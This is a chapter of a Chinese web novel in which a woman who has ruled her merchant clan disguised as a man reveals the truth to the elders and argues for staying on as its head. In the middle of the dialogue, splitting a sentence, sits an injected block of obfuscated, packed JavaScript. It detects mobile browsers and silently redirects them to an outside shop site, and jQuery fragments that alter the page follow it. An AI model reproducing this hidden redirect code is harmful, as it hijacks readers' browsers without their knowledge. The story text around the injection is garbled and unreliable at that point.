137. 针锋相对

作品:《死对头成了我的作精娘子

    第二日清晨,裴钰揉着眼睛从床上坐起,看着周围陌生中带着一丝熟悉的环境,有些茫然道:“我这是在哪?我记得昨晚我不是在等薛三回府吗?”他掀开棉被,拂开床幔,双脚触地却愣在了原地。


    只见早已穿戴整齐的薛子翛正端坐于桌边,手中捏着一只茶盏正在饮茶。见床边有动静传来,她回头看去。


    “醒了?”她含笑问道,脸上却丝毫不见前一日“躲”了裴钰整整一天的尴尬。


    “哟,薛三公子舍得回府了?”裴钰白了她一眼,随即穿上鞋子下了地,只当没见过屋子里的另一人似的,自顾自去更衣。


    薛子翛倒也不恼,只等裴钰穿好衣服唤来泠雨替他梳洗。


    长发在泠雨的巧手下,很快便挽起了一个漂亮的发髻,薛子翛则在一旁的妆匣中,挑选着适宜的钗环。


    待裴钰梳妆完毕,他那股子气也早就不知飘到哪里去了。二人相携出了门,直奔膳厅。气氛和谐而温馨地吃完了早膳,裴钰开始“发难”。


    “说说吧,昨儿个怎么不敢见我?”裴钰双手环在胸前,瞥了薛子翛一眼说道。


    薛子翛淡淡一笑,似乎裴钰的问题在她意料之中:“阿钰,昨日你我之间的情形并不在我们最初签下的那份契约之内,事发突然,我承认昨天确实有所逃避,不知该如何面对你。


    可经过昨日一整天的思考,我想问问你,你可愿留在我身边?”她笑得温柔,双眸犹如夜间璀璨的星辰,耀眼夺目,令裴钰无法移开视线。


    “我……我自然是愿意的。”裴钰吞了口唾沫,郑重道。


    薛子翛毫不意外地笑了笑,伸手拎起茶壶替裴钰斟了一杯茶:“你且等等我。”她看着裴钰的双眼,目光中满是真诚与认真。


    裴钰心念一动,带着几分猜测,又有几分不确信,在薛子翛的眼神中点了点头。


    日子一天一天过去,在按部就班和期盼之中,裴钰和薛子翛二人之间达成了无言的默契。


    转眼间已是两年过去,薛家商行在薛子翛和白姿姿的管理下,商业版图再度扩大了些许。与此同时,整个薛家的话语权已经被薛子翛牢牢握在手中。


    “时间差不多了,我总不能言而无信。”薛子翛背着双手站在窗边,看着屋外明亮的天空,垂眸一笑。


    她仿佛想到了什么美好的事物般,周身气势霎时一松,变得如水般柔和还带着几分宠溺。


    月余后的某一日,薛家几位长老、族老们齐聚议事堂。


    “大长老,您可知今日家主寻我们前来,所为何事?”一名族老按捺不住,率先开口。


    “是啊,几位长老,自家主继位以来,从未召集我们众人一同议过事,今日这是?”


    大长老和二长老对视一眼,二长老开口道:“诸位莫急,待家主来了,不就知道了。”


    几名族老眼见无法从长老口中得出什么讯息,便只能坐下等候。只是紧皱的眉头和时不时摇摇头的模样,让人心生疑虑。


    “诸位,抱歉我来晚了。”薛子翛的声音从门外传来,众人齐齐抬头看去,可却在看见她身后的沈如墨时,皱起了眉。


    “家主,这是?”大长老的视线在沈如墨身上一闪而过,问道。


    薛子翛并未回答,只等议事堂的门被关上,才一一扫过在座的众人,启唇道:“今日请诸位前来,子翛有一事告知。”她在众人疑惑的视线中,与沈如墨交换了一个眼神。


    沈如墨往前走了几步,轻启红唇温温柔柔地说道:“各位,很抱歉在二十年前我撒了一个谎,骗了你们这么久。”


    她话还未说完,在场的三名长老和几名族老齐齐变了脸色。二十年之久,想来不会是什么小事,几人中心顿时提高了警惕,目光如炬地盯着沈如墨,一动也不动。


    沈如墨并未被那些如实质般的眼神灼伤,她淡淡扫了一眼,弯了弯嘴唇,丝毫不在意接下来她要说的话,会给众人带来多么巨大的冲击。


    “二十年前,薛健以我早产为由欺骗传哥,在他连夜回京的小路上设伏致使他落下山崖。在此之后,他又派人将这个消息带给我,害得我早产,在鬼门关前走了一遭。


    那一日,我生下的其实是一个女孩儿。”沈如墨说着,柔柔一笑。


    一时之间,整个议事堂鸦雀无声,纵然是平日里喜怒不形于色的二长老,也难掩震惊之色。


    “你!你怎能做出如此枉顾人伦之事!”脾气最为火爆的三长老拍案而起,颤抖着的手指指向沈如墨。


    沈如墨微微一笑,手中捏着丝帕将三长老指着自己的手指拂开:“若是当年不出此下策,今日恐怕早已没有我们母女俩的容身之处,不论是传哥建立的商行亦或是薛家的家主,恐怕也早已易主,由不得我们孤儿寡母了吧。”


    她温温柔柔却不失力度,柔和中又带着犀利的眼神从堂中其他人脸上一一扫过,除了三位长老以外,其他竟无一人敢与她对视,纷纷在她的目光中别开了头。


    “如墨,老夫实在没想到,你居然能做出此等胆大包天的决定。”大长老冷哼一声,带着兴师问罪的语气,朝沈如墨走近。


    进门一直未曾开口的薛子翛挡在母亲身前,似笑非笑地看着大长老,带着几分威胁之意开口:“大长老,你可要三思而后行。”


    “你!竖子无礼!”大长老怒目而视。


    “呵。”


    一声轻笑,打破了议事堂中剑拔弩张的氛围。不对,是大长老单方面的剑拔弩张。


    “三位长老,几位族叔,近两年来,你们所得的分红与二叔当家时那二十年来,较之如何?”薛子翛问道。


    长老沉默不语,族老面面相觑。


    “确、确实是好了不少。”


    “既如此,我是男子还是女子,又有什么分别?”薛子翛歪着头,笑着道。只是若细看,那笑意却不达眼底。


    “这……”


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16870944|175514||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    倒也是啊……”


    在到手的利益之下,几名族老对薛子翛的身份并不那么抵触。


    “可是,全天下哪家的家主是女子啊!”


    “是啊,这实在是于礼不合啊……”


    “即便前无古人,我又为何不能做这开天辟地的第一人?”薛子翛反问道,眼角眉梢皆是自信,“这几年,商行在我和姿姿手中,不退反进,不仅收益翻了几番,也扩大了版图,涉足了曾经从未去过的行业,取得了还算不错的成果。


    一桩桩一件件,不都证明了,即使我们身为女子,却也不输男儿。”薛子翛声音平和,娓娓道来,却又带着几分不容置喙。


    “这……”


    “三位长老,你们拿个主意啊。”


    大长老手捧杯盏冷眼相看,二长老正襟危坐敛眸不语,三长老左右踱步欲言又止。


    整个议事堂唯有几名族老窃窃私语,在安静的环境中显得格外清晰。


    薛子翛和沈如墨在椅子上坐下,手捧热茶,任由众人议论纷纷,看起来仿佛胸有成竹,丝毫不担心他们会作出非她们所愿的决定。


    片刻后,议论声终于慢慢平息了下来,几名族老彼此对视一眼,其中一人清了清嗓子,搓了搓指尖,面露难色地看着薛子翛开口道:“家主,于情来说,我们几个确实对你并无太大的异议,毕竟谁会嫌到手的银子多呢,你说是吧。可于理而言,这几百年来从未听过女子做家主的,我们也怕日后被人戳着脊梁骨。”说着,他有些不好意思般,“我们也很为难啊。”


    薛子翛点点头,并未言语,只是将视线转到大长老身上:“既然族叔们已经表态,那长老们呢?”她的声音很是轻巧,仿佛对他们作何决定,并不十分在意的样子。


    二长老睁开双眼,浑浊的眼中透着精光:“子翛,兹事体大,容我们考虑几日。”


    薛子翛闻言脸色未变,反而是赞同地点点头:“二长老说得有理,既然如此,那便请三位长老考虑几日,三日后给我一个确切的答复。”说着,她起身微微俯身致礼,转身就走,毫不留恋。


    沈如墨紧随其后,朝众人温柔地笑了笑,一同离去。


    “他……她就这么走了?”一名族老十分诧异,摸了摸自己的后脑。


    “对啊,我还以为她会逼着我们同意呢。”


    “大长老,您怎么看?”


    始终沉默不语的大长老终于放下手中已经冰冷的杯盏,扫视一圈,冷哼一声:“呵,你们不是都赞同她继续做家主吗?眼下还问我作甚?”


    几名族老面面相觑,一脸尴尬。


    “大长老,那你们不表态,我们也不过是就事论事罢了。她做家主的这几年,到手的真金白银确实多了不少,这是事实,也不能因她是个女子就不承认不是。”


    大长老嗤笑一声:“三日时间?我倒要看看,她到底有什么依仗,这毫不在意的模样,究竟是故作镇定,还是真的胜券在握!”